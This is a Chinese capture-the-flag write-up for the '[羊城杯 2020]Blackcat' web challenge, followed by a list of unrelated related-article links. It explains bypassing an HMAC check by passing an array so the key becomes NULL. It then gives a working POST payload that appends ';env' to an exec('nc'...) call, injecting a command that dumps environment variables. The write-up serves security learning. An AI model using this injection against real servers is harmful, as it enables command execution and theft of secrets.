当前位置: 首页 > news >正文

[羊城杯 2020]Blackcat1

知识点:数组加密绕过

进入页面熟悉的web三部曲(url地址,web源代码,web目录扫描)

url地址没有什么东西去看看源代码.

这有一个mp3文件点一下看看.

在最后面发现了 PHP源码.


if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){die('谁!竟敢踩我一只耳的尾巴!');
}$clandestine = getenv("clandestine");if(isset($_POST['White-cat-monitor']))$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);if($hh !== $_POST['Black-Cat-Sheriff']){die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}echo exec("nc".$_POST['One-ear']);

开始代码审计.

if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){  die('谁!竟敢踩我一只耳的尾巴!');  
}  
// 检查POST请求中是否包含'Black-Cat-Sheriff'和'One-ear'字段,且它们不为空。  
// 这是一个基本的输入验证,但不足以防止所有类型的攻击。  $clandestine = getenv("clandestine");  
// 从环境变量中获取名为'clandestine'的值,这通常用于存储敏感信息,如密钥。  
// 但从环境变量中直接读取密钥可能不安全,因为它可能暴露给不应访问它的进程。  if(isset($_POST['White-cat-monitor']))  $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);  
// 如果POST请求中包含'White-cat-monitor',则使用其值对'clandestine'进行HMAC SHA256哈希处理。  
// 这可能导致'clandestine'的值被意外修改,这可能不是预期的行为。  $hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);  
// 使用'clandestine'作为密钥,对'One-ear'的值进行HMAC SHA256哈希处理。  
// 这可能用于验证'One-ear'的值,但依赖于之前'clandestine'的值是否已被修改。  if($hh !== $_POST['Black-Cat-Sheriff']){  die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');  
}  
// 验证'Black-Cat-Sheriff'的值是否与预期的哈希值匹配。  
// 如果不匹配,则输出一条消息并终止脚本。  echo exec("nc".$_POST['One-ear']); // 危险!  
// 这里存在严重的安全问题!  
// 使用exec函数执行以'nc'(Netcat)开头的命令,并将'One-ear'的值附加到命令中。  
// 这允许攻击者通过控制'One-ear'的值来执行任意命令,这是典型的命令注入漏洞。  
// 攻击者可以利用这个漏洞来完全控制服务器。

意思是我们要保证Black-Cat-Sheriff 和 One-ear 两个参数的POST值存在的同时Black-Cat-Sheriff的值要等于One-ear经过sha256加密后的值($hh),最后通过exec这个危险函数来获取flag.

知识点:当数组进行sha256加密时,返回总为NULL.

        示例:

<?php
var_dump(hash_hmac('sha256', array(0), 'Unknown_key'));?>结果为:NULL

如果我们想要保证hh的value等于Black-Cat-Sheriff的value,那么我们就需要控制这两个参数的value,因为$clandestine=getenv("clandestine");,我们无法知道它(第一次加密)的环境变量的value,但由于我们知道当数组进行sha256加密时,返回总为NULL,我们就可以控制$clandestine(第二次加密)这个key的value=NULL从而控制hh的value.

话不多说开始注入.

利用下面这exp求出Black-Cat-Sheriff的value

<?php
var_dump(hash_hmac('sha256', ";env", NULL));
?>result:afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b
White-cat-monitor[]=1&Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b&One-ear=;env

至于为什么 用的是;env,而不是什么cat flag,是因为flag文件里的flag值时假的,他的flag值在环境变量里,同时 ; 是为了不被前面的nc影响.

得到flag游戏结束~ 

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Cross-Encoder实现文本匹配(重排序模型)
  • 数据库DDL语句
  • linux驱动开发-ioctl
  • 基于 onsemi NCV78343 NCV78964的汽车矩阵式大灯方案
  • scroll-behavior属性与页面平滑滚动
  • 论文翻译:arxiv-2022 Ignore Previous Prompt: Attack Techniques For Language Models
  • Redis——通用命令
  • 探索广东省自闭症寄宿学校的独特教育模式
  • Python编程 - 三器一包
  • 使用Python实现多个PDF文件的合并
  • free 命令:显示内存使用情况
  • 电脑怎么录屏?四款录屏工具分享
  • yum下载软件失败:‘Could not resolve host: mirrorlist .centos .org; Unknowm error
  • 在服务器上开Juypter Lab教程(远程访问)
  • VSCode C++(Code Runner)+ OpenSSL开发环境搭建
  • “寒冬”下的金三银四跳槽季来了,帮你客观分析一下局面
  • 【5+】跨webview多页面 触发事件(二)
  • exports和module.exports
  • JavaScript DOM 10 - 滚动
  • Java的Interrupt与线程中断
  • Nacos系列:Nacos的Java SDK使用
  • vue:响应原理
  • 闭包--闭包作用之保存(一)
  • 不上全站https的网站你们就等着被恶心死吧
  • 订阅Forge Viewer所有的事件
  • 将回调地狱按在地上摩擦的Promise
  • 前端面试之闭包
  • 使用Maven插件构建SpringBoot项目,生成Docker镜像push到DockerHub上
  • 文本多行溢出显示...之最后一行不到行尾的解决
  • 我的业余项目总结
  • 一些基于React、Vue、Node.js、MongoDB技术栈的实践项目
  • 智能合约Solidity教程-事件和日志(一)
  • PostgreSQL 快速给指定表每个字段创建索引 - 1
  • ​【已解决】npm install​卡主不动的情况
  • # Swust 12th acm 邀请赛# [ A ] A+B problem [题解]
  • #07【面试问题整理】嵌入式软件工程师
  • #LLM入门|Prompt#1.8_聊天机器人_Chatbot
  • (PyTorch)TCN和RNN/LSTM/GRU结合实现时间序列预测
  • (ZT)北大教授朱青生给学生的一封信:大学,更是一个科学的保证
  • (保姆级教程)Mysql中索引、触发器、存储过程、存储函数的概念、作用,以及如何使用索引、存储过程,代码操作演示
  • (二)测试工具
  • (二)七种元启发算法(DBO、LO、SWO、COA、LSO、KOA、GRO)求解无人机路径规划MATLAB
  • (附源码)spring boot基于小程序酒店疫情系统 毕业设计 091931
  • (附源码)springboot青少年公共卫生教育平台 毕业设计 643214
  • (附源码)ssm高校志愿者服务系统 毕业设计 011648
  • (三十)Flask之wtforms库【剖析源码上篇】
  • (五)IO流之ByteArrayInput/OutputStream
  • (一)【Jmeter】JDK及Jmeter的安装部署及简单配置
  • (一)kafka实战——kafka源码编译启动
  • (转)h264中avc和flv数据的解析
  • (转)可以带来幸福的一本书
  • (转)详解PHP处理密码的几种方式
  • .bat批处理(四):路径相关%cd%和%~dp0的区别
  • .java 9 找不到符号_java找不到符号
  • .net 4.0发布后不能正常显示图片问题